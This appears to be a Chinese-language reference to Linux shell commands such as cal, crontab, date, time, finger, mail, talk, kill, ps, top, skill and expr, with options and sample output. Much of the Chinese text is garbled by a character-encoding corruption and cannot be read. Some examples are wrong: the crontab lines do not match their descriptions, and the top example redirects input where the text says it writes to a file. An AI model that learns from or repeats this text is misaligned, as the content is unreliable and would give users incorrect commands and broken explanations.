15 16 17 18 19 20 21 13 14 15 16 17 18 19 10 11 12 13 14 15 16
22 23 24 25 26 27 28 20 21 22 23 24 25 26 17 18 19 20 21 22 23
29 30 27 28 29 30 31 24 25 26 27 28 29 30

July August September
Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa
1 2 3 4 5 6 7 1 2 3 4 1
8 9 10 11 12 13 14 5 6 7 8 9 10 11 2 3 4 5 6 7 8
15 16 17 18 19 20 21 12 13 14 15 16 17 18 9 10 11 12 13 14 15
22 23 24 25 26 27 28 19 20 21 22 23 24 25 16 17 18 19 20 21 22
29 30 31 26 27 28 29 30 31 23 24 25 26 27 28 29
30
October November December
Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa
1 2 3 4 5 6 1 2 3 1
7 8 9 10 11 12 13 4 5 6 7 8 9 10 2 3 4 5 6 7 8
14 15 16 17 18 19 20 11 12 13 14 15 16 17 9 10 11 12 13 14 15
21 22 23 24 25 26 27 18 19 20 21 22 23 24 16 17 18 19 20 21 22
28 29 30 31 25 26 27 28 29 30 23 24 25 26 27 28 29
30 31

[root@mylinux /root]#

 

cal 5 2001 : 昄公元 2001 q?5 月月历?/p>


[root@mylinux /root]# cal 5 2001
May 2001
Su Mo Tu We Th Fr Sa
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31

[root@mylinux /root]#

 

cal -m : 以星期一为每周的W一天方式,昄本月的月历?/p>


[root@mylinux /root]# cal -m
August 2000
Mo Tu We Th Fr Sa Su
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31

[root@mylinux /root]#

 

cal -jy : 以一月一日v的天数显CZq的q历?/p>


[root@mylinux /root]# cal -jy
2000

January February
Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat
1 32 33 34 35 36
2 3 4 5 6 7 8 37 38 39 40 41 42 43
9 10 11 12 13 14 15 44 45 46 47 48 49 50
16 17 18 19 20 21 22 51 52 53 54 55 56 57
23 24 25 26 27 28 29 58 59 60
30 31
March April
Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat
61 62 63 64 92
65 66 67 68 69 70 71 93 94 95 96 97 98 99
72 73 74 75 76 77 78 100 101 102 103 104 105 106
79 80 81 82 83 84 85 107 108 109 110 111 112 113
86 87 88 89 90 91 114 115 116 117 118 119 120
121
May June
Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat
122 123 124 125 126 127 153 154 155
128 129 130 131 132 133 134 156 157 158 159 160 161 162
135 136 137 138 139 140 141 163 164 165 166 167 168 169
142 143 144 145 146 147 148 170 171 172 173 174 175 176
149 150 151 152 177 178 179 180 181 182

July August
Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat
183 214 215 216 217 218
184 185 186 187 188 189 190 219 220 221 222 223 224 225
191 192 193 194 195 196 197 226 227 228 229 230 231 232
198 199 200 201 202 203 204 233 234 235 236 237 238 239
205 206 207 208 209 210 211 240 241 242 243 244
212 213
September October
Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat
245 246 275 276 277 278 279 280 281
247 248 249 250 251 252 253 282 283 284 285 286 287 288
254 255 256 257 258 259 260 289 290 291 292 293 294 295
261 262 263 264 265 266 267 296 297 298 299 300 301 302
268 269 270 271 272 273 274 303 304 305

November December
Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat
306 307 308 309 336 337
310 311 312 313 314 315 316 338 339 340 341 342 343 344
317 318 319 320 321 322 323 345 346 347 348 349 350 351
324 325 326 327 328 329 330 352 353 354 355 356 357 358
331 332 333 334 335 359 360 361 362 363 364 365
366

[root@mylinux /root]#

 

名称 : crontab
使用权限 : 所有用?/p>

使用方式 :

crontab [ -u user ] filecrontab [ -u user ] { -l | -r | -e }
说明 :
crontab 是用来让使用者在固定旉或固定间隔执行程式之用,换句话说Q也是cM使用者的时程表?u user 是指讑֮指定 user 的时E表Q这个前提是你必要有其权限(比如说是 root)才能够指定他人的时程表。如果不使用 -u user 的话Q就是表C定自q时程表?/p>

数 :

-e : 执行文字~辑器来讑֮时程表,内定的文字编辑器?VIQ如果你想用别的文字~辑器,则请先设?VISUAL 环境变数来指定用那个文字编辑器(比如?setenv VISUAL joe)
-r : 删除目前的时E表
-l : 列出目前的时E表

时程表的格式如下 :
f1 f2 f3 f4 f5 program

其中 f1 是表C分钟,f2 表示时Qf3 表示一个月份中的第几日Qf4 表示月䆾Qf5 表示一个星期中的第几天。program 表示要执行的E式?br />?f1 ?* 时表C每分钟都要执行 programQf2 ?* 时表C每时都要执行E式Q其余类?br />?f1 ?a-b 时表CZW?a 分钟到第 b 分钟q段旉内要执行Qf2 ?a-b 时表CZW?a 到第 b 时都要执行Q其余类?br />?f1 ?*/n 时表C每 n 分钟个时间间隔执行一ơ,f2 ?*/n 表示?n 时个时间间隔执行一ơ,其余cL
?f1 ?a, b, c,... 时表C第 a, b, c,... 分钟要执行,f2 ?a, b, c,... 时表C第 a, b, c...个小时要执行Q其余类?/p>

使用者也可以所有的讑֮先存攑֜档案 file 中,?crontab file 的方式来讑֮时程表?br />例子 :

每月每天每小时的W?0 分钟执行一?/bin/ls :
0 7 * * * /bin/ls

?12 月内, 每天的早?6 点到 12 点中Q每?20 分钟执行一?/usr/bin/backup :
0 6-12/3 * 12 * /usr/bin/backup

周一到周五每天下?5:00 寄一信l?alex@domain.name :
0 17 * * 1-5 mail -s "hi" alex@domain.name < /tmp/maildata

每月每天的午?0 ?20 ? 2 ?20 ? 4 ?20 ?...执行 echo "haha"
20 0-23/2 * * * echo "haha"

注意 :

当程式在你所指定的时间执行后Q系l会(x)寄一信l你Q显CE式执行的内容,若是你不希望收到q样的信Q请在每一行空一g后加?> /dev/null 2>&1 卛_?/p>

名称 : date
使用权限 : 所有用?/p>

使用方式 :

date [-u] [-d datestr] [-s datestr] [--utc] [--universal] [--date=datestr] [--set=datestr] [--help] [--version] [+FORMAT] [MMDDhhmm[[CC]YY][.ss]]

说明 :

date 可以用来昄或设定系l的日期与时_(d)在显C方面,使用者可以设定欲昄的格式,格式讑֮Z个加号后接数个标讎ͼ其中可用的标记列表如?:

旉斚w :

% : 印出 %
%n : 下一?br />%t : x
%H : 时(00..23)
%I : 时(01..12)
%k : 时(0..23)
%l : 时(1..12)
%M : 分钟(00..59)
%p : 昄本地 AM ?PM
%r : 直接昄旉 (12 时Ӟ格式?hh:mms [AP]M)
%s : ?1970 q?1 ?1 ?00:00:00 UTC 到目前ؓ(f)止的U数
%S : U?00..61)
%T : 直接昄旉 (24 时?
%X : 相当?%H:%M:%S
%Z : 昄时区

日期斚w :
%a : 星期?(Sun..Sat)
%A : 星期?(Sunday..Saturday)
%b : 月䆾 (Jan..Dec)
%B : 月䆾 (January..December)
%c : 直接昄日期与时?br />%d : ?(01..31)
%D : 直接昄日期 (mm/dd/yy)
%h : ?%b
%j : 一q中的第几天 (001..366)
%m : 月䆾 (01..12)
%U : 一q中的第几周 (00..53) (?Sunday Z周的W一天的情Ş)
%w : 一周中的第几天 (0..6)
%W : 一q中的第几周 (00..53) (?Monday Z周的W一天的情Ş)
%x : 直接昄日期 (mm/dd/yy)
%y : q䆾的最后两位数?(00.99)
%Y : 完整q䆾 (0000..9999)

若是不以加号作ؓ(f)开_(d)则表C讑֮旉Q而时间格式ؓ(f) MMDDhhmm[[CC]YY][.ss]Q其?MM 为月份,DD 为日Qhh 为小Ӟmm 为分钟,CC 为年份前两位数字QYY 为年份后两位数字Qss 为秒?br />把计 :

-d datestr : 昄 datestr 中所讑֮的时?(非系l时?
--help : 昄辅助讯息
-s datestr : 系l时间设?datestr 中所讑֮的时?br />-u : 昄目前的格林威L?br />--version : 昄版本~号

例子 :
昄旉后蟩行,再显C目前日?:
date +%T%n%D

昄月䆾与日?:
date +%B %d

昄日期与设定时?12:34:56) :
date --date 12:34:56

注意 :

当你不希望出现无意义?0 ?比如?1999/03/07)Q则可以在标C插入 - W号Q比如说 date +%-H:%-M:%-S ?x)把时分U中无意义的 0 l去掉,像是原本?08:09:04 ?x)变?8:9:4。另外,只有取得权限?比如?root)才能讑֮pȝ旉?/p>

当你?root w分更改了系l时间之后,误得以 clock -w 来将pȝ旉写入 CMOS 中,q样下次重新开机时pȝ旉才会(x)持箋抱持最新的正确倹{?/p>


名称 : sleep
使用权限 : 所有用?/p>

使用方式 : sleep [--help] [--version] number[smhd]

说明 : sleep 可以用来目前动作gq一D|?/p>

参数说明 :

--help : 昄辅助讯息
--version : 昄版本~号
number : 旉长度Q后面可?s、m、h ?d
其中 s 为秒Qm ?分钟Qh 为小Ӟd 为日?/p>

例子 :
昄目前旉后gq?1 分钟Q之后再ơ显C时?:
date;sleep 1m;date


名称Q?time
使用权限Q?所有用?/p>

使用方式Q?time [options] COMMAND [arguments]

说明Q?time 指o(h)的用途,在于量测特定指o(h)执行时所需消耗的旉?qing)系l资源等资讯。例?CPU 旉、记忆体、输入输出等{。需要特别注意的是,部分资讯?Linux 上显CZ出来。这是因为在 Linux 上部分资源的分配函式?time 指o(h)所预设的方式ƈ不相同,以致?time 指o(h)无法取得q些资料?/p>

把计

-o or --output=FILE
讑֮l果输出档。这个选项?x)?time 的输出写入所指定的档案中。如果档案已l存在,pȝ覆写其内容?br />-a or --append
配合 -o 使用Q会(x)结果写到档案的末端Q而不?x)覆盖掉原来的内宏V?br />-f FORMAT or --format=FORMAT
?FORMAT 字串讑֮昄方式。当q个选项没有被设定的时候,?x)用pȝ预设的格式。不q你可以用环境变?time 来设定这个格式,如此一来就不必每次dpȝ都要讑֮一ơ?br />一般设定上Q你可以?br />t
表示xQ或者是?br />n
表示换行。每一资料要?% 做ؓ(f)前导。如果要在字串中使用癑ֈ比符Pq 。(学过 C 语言的h大概?x)觉得很熟(zhn)Q?br />time 指o(h)可以昄的资源有四大,分别是:(x)

Time resources
Memory resources
IO resources
Command info

详细的内容如下:(x)


Time Resources
E 执行指o(h)所p的时_(d)格式是:(x)[hour]:minuteecond。请注意q个数字q不代表实际?CPU 旉?br />e 执行指o(h)所p的时_(d)单位是秒。请注意q个数字q不代表实际?CPU 旉?br />S 指o(h)执行时在核心模式Qkernel modeQ所p的时_(d)单位是秒?br />U 指o(h)执行时在使用者模式(user modeQ所p的时_(d)单位是秒?br />P 执行指o(h)?CPU 的占用比例。其实这个数字就是核心模式加上用者模式的 CPU 旉除以L间?/p>


Memory Resources
M 执行时所占用的实体记忆体的最大倹{单位是 KB
t 执行时所占用的实体记忆体的^均|单位?KB
K 执行E序所占用的记忆体总量Qstack+data+textQ的q_大小Q单位是 KB
D 执行E序的自有资料区Qunshared data areaQ的q_大小Q单位是 KB
p 执行E序的自有堆叠(unshared stackQ的q_大小Q单位是 KB
X 执行E序间共享内容(shared textQ的q_|单位?KB
Z pȝ记忆体页的大,单位?byte。对同一个系l来说这是个常数


IO Resources
F 此程序的主要记忆体页错误发生ơ数。所谓的主要记忆体页错误是指某一记忆体页已经|换到置换档Qswap file)中,而且已经分配l其他程序。此时该늚内容必须从置换档里再d来?br />R 此程序的ơ要记忆体页错误发生ơ数。所谓的ơ要记忆体页错误是指某一记忆体页虽然已经|换到置换档中,但尚未分配给其他E序。此时该늚内容q未被破坏,不必从置换档里读出来
W 此程序被交换到置换档的次?br />c 此程序被中断Q像是分配到?CPU 旉耗尽Q的ơ数
w 此程序自愿中断(像是在等待某一?I/O 执行完毕Q像是磁读取等{)的次?br />I 此程序所输入的档案数
O 此程序所输出的档案数
r 此程序所收到?Socket Message
s 此程序所送出?Socket Message
k 此程序所收到的信?( Signal )数量


Command Info
C 执行时的参数以及(qing)指o(h)名称
x 指o(h)的结束代?( Exit Status )

 

-p or --portability
q个选项?x)自动把昄格式讑֮成?f)Q?br />real %e
user %U
sys %S
q么做的目的是ؓ(f)了与 POSIX 规格相容?br />-v or --verbose
q个选项?x)把所有程式中用到的资源通通列出来Q不但如一般英文语句,q有说明。对不想花时间去熟习(fn)格式讑֮或是刚刚开始接触这个指令的人相当有用?/p>

范例Q?br />利用下面的指?br />time -v ps -aux

我们可以获得执行 ps -aux 的结果和所p的系l资源。如下面所列的资料Q?br />USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.4 1096 472 ? S Apr19 0:04 init
root 2 0.0 0.0 0 0 ? SW Apr19 0:00 [kflushd]
root 3 0.0 0.0 0 0 ? SW Apr19 0:00 [kpiod]
......
root 24269 0.0 1.0 2692 996 pts/3 R 12:16 0:00 ps -aux

Command being timed: "ps -aux"
User time (seconds): 0.05
System time (seconds): 0.06
Percent of CPU this job got: 68%
Elapsed (wall clock) time (h:mms or ms): 0:00.16
Average shared text size (kbytes): 0
Average unshared data size (kbytes): 0
Average stack size (kbytes): 0
Average total size (kbytes): 0
Maximum resident set size (kbytes): 0
Average resident set size (kbytes): 0
Major (requiring I/O) page faults: 238
Minor (reclaiming a frame) page faults: 46
Voluntary contexttches: 0
Involuntary contexttches: 0
Swaps: 0
File system inputs: 0
File system outputs: 0
Socket messages sent: 0
Socket messages received: 0
Signals delivered: 0
Page size (bytes): 4096
Exit status: 0


名称Q?uptime
使用权限Q?所有用?br />使用方式Q?uptime [-V]
说明Q?uptime 提供使用者下面的资讯Q不需其他参数Q?/p>

现在的时?br />pȝ开转到现在l过的时?br />q线的用者数?br />最q一分钟Q五分钟和十五分钟的pȝ负蝲
参数Q?-V 昄版本资讯?br />范例Q?uptime
其结果ؓ(f)Q?br />10:41am up 5 days, 10 min, 1 users, load average: 0.00, 0.00, 1.99

名称Qchfn

使用权限Q所有用?/p>

用法Qshell>> chfn

说明Q提供用者更改个讯,用于 finger and mail username

范例Q?/p>

shell>> chfn
Changing finger information for user
Password: [del]
Name[]:Johnney Huang ### 提供 finger 时的资料
Office[]:NCCU
Office Phone[]: [del]
Home Phone[]: [del]

--------------------------------------------------------------------------------
 
--  作者:(x)babyz
--  发布旉Q?004-2-3 1:24:24

-- 
名称Qchsh

使用权限Q所有用?/p>

用法Qshell>> chsh

说明Q更改用?shell 讑֮

范例Q?/p>

shell>> chsh
Changing fihanging shell for user1
Password: [del]
New shell [/bin/tcsh]: ### [是目前用的 shell]
[del]

shell>> chsh -l ### 展示 /etc/shells 档案内容
/bin/bash
/bin/sh
/bin/ash
/bin/bsh
/bin/tcsh
/bin/csh


" finger [q回]

名称Q?finger
使用权限Q?所有用?/p>

使用方式Q?finger [options] user[@address]

说明Qfinger 可以让用者查询一些其他用者的资料。会(x)列出来的资料有:(x)

Login Name
User Name
Home directory
Shell
Login status
mail status
.plan
.project
.forward

其中 .plan Q?project ?.forward 是使用者在他的 Home Directory 里的 .plan Q?.project ?.forward {档案里的资料。如果没有就没有。finger 指o(h)q不限定于在同一伺服器上查询Q也可以L某一个远端伺服器上的使用者。只要给一个像?E-mail address 一般的地址卛_?br />把计

-l
多行昄?/p>

-s
单行昄。这个选项只显C登入名Uͼ真实姓名Q终端机名称Q闲|时_(d)d旉Q办公室L(fng)?qing)?sh)话号码。如果所查询的用者是q端伺服器的使用者,q个选项无效?/p>

范例Q下列指令可以查询本机管理员的资料:(x)
finger root

其结果如下:(x)
Login: root Name: root
Directory: /root Shell: /bin/bash
Never logged in.
No mail.
No Plan.

 

名称Qlast

使用权限Q所有用?/p>

使用方式Qshell>> last [options]

说明Q显C系l开Z来获是从每月初登入者的讯息

把计

-R 省略 hostname 的栏?br />-num 展示?num ?br />username 展示 username 的登入讯?br />tty 限制d讯息包含l端Z?/p>

范例Q?/p>

shell>> last -R -2
johnney pts/1 Mon Aug 14 20:42 still logged in
johnney pts/0 Mon Aug 14 19:59 still logged in

wtmp begins Tue Aug 1 09:01:10 2000 ### /var/log/wtmp


shell>> last -2 minery
minery pts/0 140.119.217.115 Mon Aug 14 18:37 - 18:40 (00:03)
minery pts/0 140.119.217.115 Mon Aug 14 17:22 - 17:24 (00:02)

wtmp begins Tue Aug 1 09:01:10 2000

 

名称:login

q个命o(h)都不?x)就不要q算了!呵呵我也不在q里多费W墨耽误大家好青春了^_^


名称Qpasswd

使用权限Q所有用?/p>

使用方式Qpasswd [-k] [-l] [-u [-f]] [-d] [-S] [username]

说明Q用来更改用者的密码

参数Q?br />-k

-l

-u

-f

-d 关闭使用者的密码认证功能, 使用者在d时将可以不用输入密码, 只有具备 root 权限的用者方可?

-S 昄指定使用者的密码认证U类, 只有具备 root 权限的用者方可?

[username] 指定帐号名称.


名称 : who
使用权线 : 所有用者都可?/p>

使用方式 : who - [husfV] [user]

说明 : 昄pȝ中有那些使用者正在上面,昄的资料包含了使用?IDQ用的l端机,从那边连上来的,上线旉Q呆滞时_(d)CPU 使用量,动作{等?/p>

把计 :

-h : 不要昄标题?br />-u : 不要昄使用者的动作/工作
-s : 使用短的格式来显C?br />-f : 不要昄使用者的上线位置
-V : 昄E式版本


名称Q?etc/aliases
使用权限Q系l管理?br />使用方式Q?L(fng) newaliases 更新资料?br />说明Q?br />sendmail ?x)用一个在 /etc/aliases 中的档案做用者名U{换的动作。当 sendmail 收到一个要送给 xxx 的信Ӟ它会(x)依据 aliases档的内容送给另一个用者。这个功能可以创造一个只有在信gpȝ内才有效的用者。例?mailing list ׃(x)用到q个功能Q在 mailinglist 中,我们可能?x)创造一个叫 redlinux@link.ece.uci.edu ?mailinglistQ但实际上ƈ没有一个叫 redlinux 的用者。实?aliases 档的内容是将送给q个使用者的信都收给 mailing list 处理E式负责分送的工作?/p>

/etc/aliases 是一个文字模式的档案Qsendmail 需要一个二q位格式?/etc/aliases.db。newaliases 的功能传是将 /etc/aliases 转换成一?sendmail 所能了解的资料库。范例:(x)
# newaliases

下面命o(h)?x)做相同的事Q?br /># sendmail -bi

相关命o(h):
mail, mailq, newaliases, sendmail

" mail [q回]

名称Qmail

使用权限Q所有用?/p>


使用方式Qmail [-iInv] [-s subject] [-c cc-addr] [-b bcc-addr] user1 [user 2 ...]


说明Q?br />mail 不仅只是一个指令, mail q是一个电(sh)子邮件程式,不过利用 mail 来读信的人应该很吧Q对于系l管理者来?mail 很有用Q因为管理者可以用 mail 写成 script Q定期寄一些备忘录提醒pȝ的用者?/p>


参数Q?br />i 忽略 tty 的中断讯受?(interrupt)
I 设成互动模式?(Interactive)
v 列印息,例如送信的地炏V状态等{?(verbose)
n 不读?mail.rc 讑֮档?br />s 邮g标题?br />c cc 邮g地址?br />b bcc 邮g地址?/p>


范例Q?/p>


信仉给一个或以上的电(sh)子邮件地址Q由于没有加入其他的选项Q用者必输入标题与信g的内容等。?user2 没有L位置Q就?x)送给邮g伺服器的 user2 使用者?/p>


mail user1@email.address
mail user1@email.address user2


?mail.txt 的内容寄l?user2 同时 cc l?user1 。如果将q一行指令设?cronjob 可以定时将备忘录寄l系l用者?/p>

mail -s 标题 -c user1 user2 < mail.txt


指o(h)Qmesg
使用权限 : 所有用?/p>

使用方式 : mesg [y|n]

说明 Q?军_是否允许其他Z讯息到自ql端Z?/p>


把计

y : 允许讯息传到l端Z面上?br />n : 不允许讯息传到终端机介面??br />如果没有讑֮Q则讯息传递与否则q端机界面目前状态而定?/p>

例子 :
改变目前讯息讑֮Q改成不允许讯息传到l端Z面上 :
mesg n


?mesg 相关的指令有Q?talkQwriteQwall?/p>


名称Q?etc/aliases
使用权限Q系l管理?br />使用方式Q?newaliases
说明Q?br />sendmail ?x)用一个在 /etc/aliases 中的档案做用者名U{换的动作。当 sendmail 收到一个要送给 xxx 的信Ӟ它会(x)依据 aliases档的内容送给另一个用者。这个功能可以创造一个只有在信gpȝ内才有效的用者。例?mailing list ׃(x)用到q个功能Q在 mailinglist 中,我们可能?x)创造一个叫 redlinux@link.ece.uci.edu ?mailinglistQ但实际上ƈ没有一个叫 redlinux 的用者。实?aliases 档的内容是将送给q个使用者的信都收给 mailing list 处理E式负责分送的工作?/p>

/etc/aliases 是一个文字模式的档案Qsendmail 需要一个二q位格式?/etc/aliases.db。newaliases 的功能传是将 /etc/aliases 转换成一?sendmail 所能了解的资料库?/p>

参数Q没有Q何参数?范例Q?br /># newaliases

下面命o(h)?x)做相同的事Q?br /># sendmail -bi

相关命o(h):
mail, mailq, newaliases, sendmail


名称 : talk
使用权限 : 所有用?/p>

使用方式 :

talk person [ttyname]
说明 : 与其他用者对?/p>

把计 :

person : 预备对谈的用者帐P如果该用者在其他机器上,则可输入 person@machine.name
ttyname : 如果使用者同时有两个以上?tty q线Q可以自行选择合适的 tty 传讯?/p>

例子.1 :

与现在机器上的用者Rollaend对谈Q此?Rollaend 只有一个连U?:
talk Rollaend


接下来就是等Rollaend回应Q若Rollaend接受Q则Rollaend输入 ****talk jzlee****卛_开始对谈,l束h ctrl+c

例子.2 :与linuxfab.cx上的使用者Rollaend对谈Q用pts/2来对?:
talk Rollaend@linuxfab.cx pts/2


接下来就是等Rollaend回应Q若Rollaend接受Q则Rollaend输入 ****talk jzlee@jzlee.home****卛_开始对谈,l束h ctrl+c

注意 : 若萤q的字会(x)出现不正常的字元Q试着?ctrl+l 更新萤幕画面?/p>


名称 : wall
使用权限 : 所有用?/p>

使用方式 :

wall [ message ]
使用说明Q?br />wall ?x)将讯息传给每一?mesg 讑֮?yes 的上U用者。当使用l端Z面做为标准传入时, 讯息l束旉加上 EOF (通常?Ctrl+D)

例子 :

传讯?hi" l每一个用?:
wall hi

 

名称 : write
使用权限 : 所有用?/p>

使用方式 :

write user [ttyname]
说明 : 传讯息给其他使用?/p>

把计 :

user : 预备传讯息的使用者帐?br />ttyname : 如果使用者同时有两个以上?tty q线Q可以自行选择合适的 tty 传讯?/p>

例子.1 :

传讯息给 RollaendQ此?Rollaend 只有一个连U?:
write Rollaend


接下来就是将讯息打上去,l束h ctrl+c

例子.2 :传讯息给 RollaendQRollaend 的连U有 pts/2Qpts/3 :
write Rollaend pts/2


接下来就是将讯息打上去,l束h ctrl+c

注意 : 若对方设?mesg nQ则此时讯席无法传l对?/p>

名称Qkill
使用权限Q所有用?/p>

使用方式Q?/p>

kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
说明Qkill 送出一个特定的信号 (signal) l行E?id ?pid 的行E根据该信号而做特定的动? 若没有指? 预设是送出l止 (TERM) 的信?br />把计

-s (signal) : 其中可用的讯h HUP (1), KILL (9), TERM (15), 分别代表着重跑, 砍掉, l束; 详细的信号可以用 kill -l
-p : 印出 pid , q不送出信号
-l (signal) : 列出所有可用的信号名称
范例Q?/p>

?pid ?323 的行E砍?(kill) :
kill -9 323

?pid ?456 的行E重?(restart) :
kill -HUP 456

 

名称Qnice
使用权限Q所有用?/p>

使用方式Qnice [-n adjustment] [-adjustment] [--adjustment=adjustment] [--help] [--version] [command [arg...]]

说明Q以更改q的优先序来执行E式, 如果未指定程? 则会(x)印出目前的排E优先序, 内定?adjustment ?10, 范围?-20 (最高优先序) ?19 (最低优先序)


把计

-n adjustment, -adjustment, --adjustment=adjustment 皆ؓ(f)该原有优先序的增加 adjustment
--help 昄求助讯息
--version 昄版本资讯
范例Q?br />?ls 的优先序?1 q执?:
nice -n 1 ls

?ls 的优先序?10 q执?:
nice ls?ls 的优先序?10 q执?/p>

注意 : 优先?(priority) Z业系l用来决?CPU 分配的参敎ͼLinux 使用『回合制(round-robin)』的演算法来?CPU 排程Q优先序高Q所可能获得?CPU旉p多?/p>


名称Qps
使用权限Q所有用?br />使用方式Qps [options] [--help]
说明Q显C瞬间行E?(process) 的动?br />参数Q?br />ps 的参数非常多, 在此仅列出几个常用的参数q大略介l含?br />-A 列出所有的行程
-w 昄加宽可以昄较多的资?br />-au 昄较详l的资讯
-aux 昄所有包含其他用者的行程

au(x) 输出格式 :

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
USER: 行程拥有?br />PID: pid
%CPU: 占用?CPU 使用?br />%MEM: 占用的记忆体使用?br />VSZ: 占用的虚拟记忆体大小
RSS: 占用的记忆体大小
TTY: l端的次要装|号?(minor device number of tty)
STAT: 该行E的状?
D: 不可中断的静?(通?zhn)□□~bq行 I/O 动作)
R: 正在执行?br />S: 静止状?br />T: 暂停执行
Z: 不存在但暂时无法消除
W: 没有_的记忆体分页可分?br /><: 高优先序的行E?br />N: 低优先序的行E?br />L: 有记忆体分页分配q在记忆体?(xpȝ或捱A I/O)
START: 行程开始时?br />TIME: 执行的时?br />COMMAND:所执行的指?/p>

范例Q?/p>

ps
PID TTY TIME CMD
2791 ttyp0 00:00:00 tcsh
3092 ttyp0 00:00:00 ps
% ps -A
PID TTY TIME CMD
1 ? 00:00:03 init
2 ? 00:00:00 kflushd
3 ? 00:00:00 kpiod
4 ? 00:00:00 kswapd
5 ? 00:00:00 mdrecoveryd
.......
% ps -aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.7 1096 472 ? S Sep10 0:03 init [3]
root 2 0.0 0.0 0 0 ? SW Sep10 0:00 [kflushd]
root 3 0.0 0.0 0 0 ? SW Sep10 0:00 [kpiod]
root 4 0.0 0.0 0 0 ? SW Sep10 0:00 [kswapd]
........


名称Qpstree
使用权限Q所有用?br />使用方式Q?br />pstree [-a] [-c] [-h|-Hpid] [-l] [-n] [-p] [-u] [-G|-U] [pid|user]
pstree -V
说明Q将所有行E以?wi)状图显C? ?wi)状囑ְ会(x)?pid (如果有指? 或是?init q个基本行程为根 (root) ,如果有指定用?id , 则树(wi)状图?x)只昄该用者所拥有的行E?br />参数Q?br />-a 昄该行E的完整指o(h)?qing)参? 如果是被记忆体置换出ȝ行程则会(x)加上括号
-c 如果有重覆的行程? 则分开列出 (预设值是?x)在前面加?*
范例Q?/p>

pstree

init-+-amd
|-apmd
|-atd
|-httpd---10*[httpd]
%pstree -p
init(1)-+-amd(447)
|-apmd(105)
|-atd(339)
%pstree -c
init-+-amd
|-apmd
|-atd
|-httpd-+-httpd
| |-httpd
| |-httpd
| |-httpd
....


名称Qrenice
使用权限Q所有用?/p>

使用方式Qrenice priority [[-p] pid ...] [[-g] pgrp ...] [[-u] user ...]

说明Q重新指定一个或多个行程(Process)的优先序(一个或多个根据所下的参数而定)

把计

-p pid 重新指定行程?id ?pid 的行E的优先?br />-g pgrp 重新指定行程组(process group)?id ?pgrp 的行E?(一个或多个) 的优先序
-u user 重新指定行程拥有者ؓ(f) user 的行E的优先?br />范例Q?br />行E?id ?987 ?32 的行E与行程拥有者ؓ(f) daemon ?root 的优先序L(fng)?1 :
renice +1 987 -u daemon root -p 32

注意 : 每一个行E?Process)都有一个唯一?(unique) id


名称Qtop
使用权限Q所有用?/p>

使用方式Qtop [-] [d delay] [q] [c] [S] [s] [n]

说明Q即时显C?process 的动?/p>

把计

d : 改变昄的更新速度Q或是在交谈式指令列( interactive command)?s
q : 没有M延迟的显C速度Q如果用者是?superuser 的权限,?top 会(x)以最高的优先序执?br />c : 切换昄模式Q共有两U模式,一是只昄执行档的名称Q另一U是昄完整的\径与名称S : 累积模式Q会(x)己完成或消q子行E?( dead child process ) ?CPU time 累积h
s : 安全模式Q将交谈式指令取? 避免潜在的危?br />i : 不显CZQ何闲|?(idle) 或无?(zombie) 的行E?br />n : 更新的次敎ͼ完成后将?x)退?top
b : Ҏ(gu)档模式,搭配 "n" 参数一起用,可以用来?top 的结果输出到档案?/p>

范例Q?br />昄更新十次后退?;
top -n 10

使用者将不能利用交谈式指令来对行E下命o(h) :
top -s

更新显CZơ的l果输入到名UCؓ(f) top.log 的档案里 :
top -n 2 -b < top.log

名称Qskill

使用权限Q所有用?/p>

使用方式Q?skill [signal to send] [options] 选择E序的规?/p>

说明Q?/p>

送个讯号l正在执行的E序,预设的讯息ؓ(f) TERM (中断) , 较常使用的讯息ؓ(f) HUP , INT , KILL , STOP , CONT ,?0

讯息有三U写?分别?-9 , -SIGKILL , -KILL , 可以使用 -l ?-L 已列出可使用的讯息?/p>

一般参敎ͼ(x)

-f 快速模?未完成

-i 互动模式/ 每个动作要被确?/p>

-v 详细输出/ 列出所选择E序的资?/p>

-w 警告讯息/ 未完成

-n 没有动作/ 昄E序代号

参数Q选择E序的规则可以是, l端Z?使用者名U?E序代号,命o(h)名称?/p>

-t l端Z?( tty ?pty )

-u 使用者名U?/p>

-p E序代号 ( pid )

-c 命o(h)名称 可用的讯号:

以下列出已知的讯号名U?讯号代号,功能?/p>

名称 (代号) 功能/ 描述

ALRM 14 d

HUP 1 d

INT 2 d

KILL 9 d/ 关闭

PIPE 13 d

POLL d

PROF d

TERM 15 d

USR1 d

USR2 d

VTALRM d

STKFLT d/ 只适用于i386, m68k, arm ?ppc 体

UNUSED d/ 只适用于i386, m68k, arm ?ppc 体

TSTP 停止 /产生与内容相关的行ؓ(f)

TTIN 停止 /产生与内容相关的行ؓ(f)

TTOU 停止 /产生与内容相关的行ؓ(f)

STOP 停止 /关闭

CONT 从新启动 /如果在停止状态则从新启动,否则忽略

PWR 忽略 /在某些系l中?x)离开

WINCH 忽略

CHLD 忽略

ABRT 6 核心

FPE 8 核心

ILL 4 核心

QUIT 3 核心

SEGV 11 核心

TRAP 5 核心

SYS 核心 /或许未实作

EMT 核心 /或许未实作

BUS 核心 /核心p|

XCPU 核心 /核心p|

XFSZ 核心 /核心p|

范例Q?/p>

停止所有在 PTY 装置上的E序
skill -KILL -v pts/*

停止三个使用?user1 , user2 , user3
skill -STOP user1 user2 user3


其他相关的命? kill


名称Qexpr

使用权限Q所有用?br />### 字串长度

shell>> expr length "this is a test"
14

### 数字商数

shell>> expr 14 % 9
5

### 从位|处抓取字串

shell>> expr substr "this is a test" 3 5
is is

### 数字?only the first character

shell>> expr index "testforthegame" e
2

